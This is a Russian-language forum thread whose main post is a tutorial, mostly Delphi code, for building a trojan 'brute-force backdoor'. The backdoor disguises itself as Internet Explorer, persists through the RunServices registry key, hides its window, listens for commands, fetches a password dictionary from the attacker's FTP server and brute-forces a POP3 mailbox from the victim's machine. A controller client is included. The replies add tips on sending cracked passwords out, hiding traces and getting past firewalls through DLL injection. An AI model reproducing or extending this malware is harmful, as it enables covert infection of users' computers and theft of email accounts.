Воскресенье, 17.02.2019, 22:11 Приветствую вас Гость | Группа "Гости" 


[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: Anton93, Волк-1024, xXxSh@dowxXx  
delfcode » Delphi » Программы на Delphi » Brute-force backdoor на Delphi (Code)
Brute-force backdoor на Delphi
dolphin Дата: Пятница, 26.12.2008, 15:55 | Сообщение # 1
Администратор
Сообщений: 904
Статус: Offline
Автор:Kuzya
Здорова! Сегодня я расскажу как написать одну “полезную” J программку. Я её решил назвать Brute-force backdoor. Может идея и не новая, но я решил написать данную статью из-за того, что не видел похожих, на неё, статей. Кстати всё только для ознакомления ну и бла-бла-бла в том же роде.
Начнём с главной цели этой программы: подбор пароля к указанному, программе, ящику. Тебе, наверное, уже приходилось пользоваться брутом для подбора пароля к e-mail’ам или ftp-серверам. Принцип программы основан, в первую очередь, на безопасности атакующего и освобождения времени, которое может потребоваться для подбора пароля к ящику. Наша прога будет действовать следующим образом: инфицировав машину пользователя, она будет ждать от хозяина команды на закачку словаря с паролями и команды для начала подбора пароля. Таким образом, брут производится с машины заражённого юзера – это скроет тебя, уменьшит расход трафика и освободит тебя от лишней мороки. ВНИМАНИЕ!!! Здесь я не буду описывать полную рабочую версию программы, здесь я опишу основной скелет, я просто хочу чтоб юные кул-хацкеры хоть немного поработали мозгами и отшлифовали прогу до блеска сами.
Итак, начнём. Нам понадобится Delphi (я писал это на Delphi 6) и любой фтп-сервер.
Начни новый проект, и размести на форме следующие компоненты – NMFTP(находится на закладке FastNet) и ServerSocket(закладка internet).Так-же размести вторую форму и назови её BruteForm. Затем зайди в свойства проекта (Project => Options) и в закладке Forms найди 2 списка - Auto-create forms и Available forms, в первом списке будут твои две формы(Form1 и BruteForm), тебе надо перенести обе формы в список Available forms.
Имена компонентов не меняй, оставь как есть – NMFTP1 и ServerSocket1. Свойство port, у ServerSocket1, поставь какое нужно тебе – это порт на котором будет висеть бэк-дор.
Затем у компонента NMFTP1 измени все свойства (port, address(если надо то и проксик вбей)) на свойства которые нужны для подключения к твоему ftp-серверу(очень желательно чтоб он находился на каком ни будь бесплатном хостере).
Сначала напишем само ядро бэк-дора:
Добавь в используемые модули (В редакторе исходного кода, после надписи uses идут используемые модули) модуль Registry (Он понадобится нам для записи бэк-дора в реестре для автозагрузки). Далее создай обработчик OnCreate главной формы. И между begin и end впиши следующие строки:

  1. <span class="ucoz-forum-post" id="ucoz-forum-post-303" edit-url="">Application.Title:='MS Internet Explorer';  
  2.   
  3.   
  4.   
  5. // Назначается заголовок любых окон появившихся от твоего бэк-дора  
  6.   
  7.   
  8.   
  9. // Вдруг возникнет какая ни будь ошибка и Юзер увидит заголовок Project1  
  10.   
  11.   
  12.   
  13. // или что-то типа того.  
  14.   
  15.   
  16.   
  17. // Тогда он что ни будь заподозрит, а вот заголовок MS Internet Explorer  
  18.   
  19.   
  20.   
  21. // Ничем не насторожит J  
  22.   
  23.   
  24.   
  25. // Затем прописываемся в реестре:  
  26.   
  27.   
  28.   
  29. RegIni:=TRegIniFile.Create('Software');  
  30.   
  31.   
  32.   
  33. RegIni.RootKey:=HKEY_LOCAL_MACHINE;  
  34.   
  35.   
  36.   
  37. RegIni.OpenKey('Software'true);  
  38.   
  39.   
  40.   
  41. RegIni.OpenKey('Microsoft'true);  
  42.   
  43.   
  44.   
  45. RegIni.OpenKey('Windows'true);  
  46.   
  47.   
  48.   
  49. RegIni.OpenKey('CurrentVersion'true);  
  50.   
  51.   
  52.   
  53. // Пишемся в папке ‘Run services’, имя ключа MSIE, далее следует расположение //файла  
  54.   
  55.   
  56.   
  57. RegIni.WriteString('RunServices''MSIE', Application.ExeName);  
  58.   
  59.   
  60.   
  61. RegIni.Free;  
  62.   
  63.   
  64.   
  65. // Делаем сокет активным  
  66.   
  67.   
  68.   
  69. ServerSocket1.Active:=true;</span>  

Если попробуешь собрать сейчас, то у тебя ничего не получится, чтоб всё работало надо объявить переменную RegIni типа TRegIniFile, для этого напиши над begin следующие строчки:

  1. <span class="ucoz-forum-post" id="ucoz-forum-post-303" edit-url="">var  
  2.   
  3.   
  4.   
  5. RegIni:TRegIniFile;</span>  

Затем у ServerSocket1 создай обработчик события OnClientRead и над begin и end напиши:

  1. <span class="ucoz-forum-post" id="ucoz-forum-post-303" edit-url="">var  
  2.   
  3.   
  4.   
  5. command:String; // обьявляем переменную command строкового типа  
  6.   
  7.   
  8.   
  9. Затем между begin и end напиши следующий код:  
  10.   
  11.   
  12.   
  13. // Указываем что переменная command это текст полученный из сокетов.  
  14.   
  15.   
  16.   
  17. command:=Socket.ReceiveText;  
  18.   
  19.   
  20.   
  21. // Указываем что делать если пришёл текст upload  
  22.   
  23.   
  24.   
  25. if command='upload' then  
  26.   
  27.   
  28.   
  29. begin  
  30.   
  31.   
  32.   
  33. // Компонент NMFTP1 пытается соединится с сервером  
  34.   
  35.   
  36.   
  37. // который ему указал ты  
  38.   
  39.   
  40.   
  41. // кстати! Вот тут и может вылезти ошибка (если ты не правильно указал адрес  
  42.   
  43.   
  44.   
  45. // или произошёл сбой при подключнии) но ведь Юзер увидит что это ошибка  
  46.   
  47.   
  48.   
  49. // вызвана MS Internet Explorer J и мало чего заподозрит J  
  50.   
  51.   
  52.   
  53. NMFTP1.Connect;  
  54.   
  55.   
  56.   
  57. // Если компонент NMFTP1 подключился то  
  58.   
  59.   
  60.   
  61. if NMFTP1.Connected then  
  62.   
  63.   
  64.   
  65. begin  
  66.   
  67.   
  68.   
  69. // закачиваем файл dictionary.txt(файл с паролями) из корня фтп-сервера  
  70.   
  71.   
  72.   
  73. // и сохраняем его под тем же именем под каким и скачали  
  74.   
  75.   
  76.   
  77. // Первый параметр – это имя скачиваемого файла, а второй параметр указывает  
  78.   
  79.   
  80.   
  81. // Под каким именем сохранить скаченный файл  
  82.   
  83.   
  84.   
  85. // Сохранение происходит в той же папке где лежит трой  
  86.   
  87.   
  88.   
  89. NMFTP1.Download('dictionary.txt','dictionary.txt');  
  90.   
  91.   
  92.   
  93. end;  
  94.   
  95.   
  96.   
  97. end;  
  98.   
  99.   
  100.   
  101. // Если пришло слово brute то активировать форму BruteForm  
  102.   
  103.   
  104.   
  105. if command='brute' then  
  106.   
  107.   
  108.   
  109. begin  
  110.   
  111.   
  112.   
  113. // собственно, активируется форма BruteForm  
  114.   
  115.   
  116.   
  117. Application.CreateForm(TBruteForm, BruteForm);  
  118.   
  119.   
  120.   
  121. end;  

Можно было бы вписать код брута в этот - же unit но мне это не понравилось из-за большого кол-ва кода, у каждой формы есть свой unit и ИМХО так легче работать т.к. нет возьни с гигантскими кусками кода. Затем переключись на форму BruteForm, на ней размести компонент idPOP3 (закладка indy clients), назови его idPOP и создай обработчик события OnCreate для BruteForm. В обработчике события, перед begin напиши следующий код:

  1.                               <span class="ucoz-forum-post" id="ucoz-forum-post-303" edit-url="">Var  
  2.   
  3.                                 
  4.   
  5.                               // Создаём переменную PassStrings типа TStrings;  
  6.   
  7.                                 
  8.   
  9.                               PassStrings:TStrings;  
  10.   
  11.                                 
  12.   
  13.                               // Создаём переменную j числового типа.  
  14.   
  15.                                 
  16.   
  17.                               j:Integer;  
  18.   
  19.                                 
  20.   
  21.                               Между Begin и End; пишем:  
  22.   
  23.                                 
  24.   
  25.                               PassStrings:=TStringList.Create;  
  26.   
  27.                                 
  28.   
  29.                               Try  
  30.   
  31.                                 
  32.   
  33.                               // Пытаемся загрузить файл dictionary.txt  
  34.   
  35.                                 
  36.   
  37.                               PassStrings.LoadFromFile('dictionary.txt');  
  38.   
  39.                                 
  40.   
  41.                               Except  
  42.   
  43.                                 
  44.   
  45.                               // если файл загрузить не удалось то останавливаем работу программы  
  46.   
  47.                                 
  48.   
  49.                               exit;  
  50.   
  51.                                 
  52.   
  53.                               // ВНИМАНИЕ!!! Оператор exit не закрывает прогу, а просто останавливает её //работу!!!  
  54.   
  55.                                 
  56.   
  57.                               end;  
  58.   
  59.                                 
  60.   
  61.                               // Начинаем цикл от 0 до кол-ва строк в словаре - 1  
  62.   
  63.                                 
  64.   
  65.                               for j:=0 to PassStrings.Count-1 do  
  66.   
  67.                                 
  68.   
  69.                               begin  
  70.   
  71.                                 
  72.   
  73.                               //Присваиваем пароль из строки с номером j  
  74.   
  75.                                 
  76.   
  77.                               IdPOP.Password := PassStrings.Strings[j];  
  78.   
  79.                                 
  80.   
  81.                               Try  
  82.   
  83.                                 
  84.   
  85.                               //Пытаемся коннектится  
  86.   
  87.                                 
  88.   
  89.                               IdPOP.Connect  
  90.   
  91.                                 
  92.   
  93.                               Except  
  94.   
  95.                                 
  96.   
  97.                               // Если соединится не удалось (не правильный пароль) то ничего не делаем,  
  98.   
  99.                                 
  100.   
  101.                               // Цикл повторяется пытаясь зайти под следующим, в файле, паролем  
  102.   
  103.                                 
  104.   
  105.                               end;  
  106.   
  107.                                 
  108.   
  109.                               // Если коннект удался (пароль подобран)  
  110.   
  111.                                 
  112.   
  113.                               if IdPOP.Connected then  
  114.   
  115.                                 
  116.   
  117.                               begin  
  118.   
  119.                                 
  120.   
  121.                               ///////////////////////////////////////////////////////////////////  
  122.   
  123.                                 
  124.   
  125.                               // Тут пишите свой код с помощью которого вам с  
  126.   
  127.                                 
  128.   
  129.                               ообщится что пароль подобран///  
  130.   
  131.                                 
  132.   
  133.                               ////////////////////////////////////////////////////////////////////  
  134.   
  135.                                 
  136.   
  137.                               // Отключаемся  
  138.   
  139.                                 
  140.   
  141.                               IdPOP.Disconnect;  
  142.   
  143.                                 
  144.   
  145.                               // Останавливаем программу  
  146.   
  147.                                 
  148.   
  149.                               exit;  
  150.   
  151.                                 
  152.   
  153.                               end;  
  154.   
  155.                                 
  156.   
  157.                               end;  
  158. </span>  
  159.                               

Для того чтобы окно программы было невидимо зайди в Project>View Source
Откроется окно редактирования кода, сам код должен выглядеть следующим образом:
  1. <span class="ucoz-forum-post" id="ucoz-forum-post-303" edit-url="">  
  2.   
  3. var  
  4.   
  5.   
  6.   
  7. WhEvent:THandle;  
  8.   
  9.   
  10.   
  11. begin  
  12.   
  13.   
  14.   
  15. Application.Initialize;  
  16.   
  17.   
  18.   
  19. ShowWindow(Application.Handle, SW_HIDE);  
  20.   
  21.   
  22.   
  23. Form1:=TForm1.Create(nil);  
  24.   
  25.   
  26.   
  27. Application.Run;  
  28.   
  29.   
  30.   
  31. WhEvent:=CreateEvent(nil, truefalse'et');  
  32.   
  33.   
  34.   
  35. while (truedo  
  36.   
  37.   
  38.   
  39. begin  
  40.   
  41.   
  42.   
  43. WaitForSingleObject(WhEvent,1000);  
  44.   
  45.   
  46.   
  47. Application.ProcessMessages;  
  48.   
  49.   
  50.   
  51. end;  
  52.   
  53.   
  54.   
  55. end.  

Чтобы скомпилить прогу не запуская её просто нажми ctrl+f9 и экзэшник соберётся не запускаясь.
Теперь давай напишем клиент к нашей пакости J.
Создай новый проект, размести на нём компоненты ClientSocket1, Edit1, Button1 и Button2.
В свойстве port – напиши порт твоего бэкдора.
Caption у кнопки1 замени на upload, а у второй на brute. Теперь нам надо всего-лишь создать обработчики событий OnClick – для первой кнопки(upload) и для второй (drute)
В OnClick первой кнопки напиши:

  1. <span class="ucoz-forum-post" id="ucoz-forum-post-303" edit-url="">// Указываем IP жертвы(IP вводим в поле Edit1)  
  2.   
  3.   
  4.   
  5. ClientSocket1.host:=Edit1.Text;  
  6.   
  7.   
  8.   
  9. ClientSocket1.Active:=true;  
  10.   
  11.   
  12.   
  13. // Отправляем команду upload  
  14.   
  15.   
  16.   
  17. ClientSocket1.SendReceiveText(‘upload’);  

Тоже самое пишем в OnClick второй кнопки, только команда brute , а не upload.
Вот вообщем и всё что я хотел тебе сегодня рассказать, программа имеет множество недоработок и неудобств (например то что подбирать можно только к прописанному, в проге, ящику) но если поломать голову то можно всё подправить и переделать и под ftp брут и под imap и т.д. Удачи!
Если что не понятно все вопросы задавать на нашем форуме http://inattack.ru/forum/viewforum.php?f=32


Система: Windows 10 x64, Windows XP
Среды программирования: Delphi 7, Delphi 10 Seattle

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
BioHEX Дата: Воскресенье, 08.08.2010, 20:24 | Сообщение # 2
Был не раз
Зарегистрирован: 27.07.2010
Группа: Пользователи
Сообщений: 17
Статус: Offline
Я бы немного другой алгоритм выбрал:

1. Определить состояния подключения интернета.
2. Если подключен автоматом скачать словарик, начать перебор с возможностью продолжения (на случай если юзер оборвет коннект). Это избавит нас от проблемы с определением IP-адреса жертвы (нет ни чего хуже динамического IP-адреса biggrin ), т.к. нам не предется подключатся к жертве.
3. Как только пароль будет сбручен отправить его себе на мыло или на гейт, что предпочтительней.
4. Убрать за собой.

Для обхода фаервола можно оформить код в виде DLL и провести DLL-inject.

 
skript Дата: Суббота, 29.01.2011, 17:40 | Сообщение # 3
Группа: Удаленные



BioHEX, а по подробней можешь расказать про обход фаера?
 
BROVAR Дата: Вторник, 03.05.2011, 04:18 | Сообщение # 4
Был не раз
Зарегистрирован: 03.05.2011
Группа: Пользователи
Сообщений: 9
Статус: Offline
Обход фаера созданный по принципу подключения клиента к серверу никак не реализовать по сути. Для сего лучшие способа:
1.Сервер ищет клиента.
2.Клиент-сервер работает через вспомагательный сервер.
В таком случае файервол не реагирует по причине того, что по сути операции исходят, а не входят. В ближайшее время напишу исходничек обоих видов - скину на форум.


Абара!
 
delfcode » Delphi » Программы на Delphi » Brute-force backdoor на Delphi (Code)
  • Страница 1 из 1
  • 1
Поиск:

delfcode.ru © 2008 - 2019 Хостинг от uCoz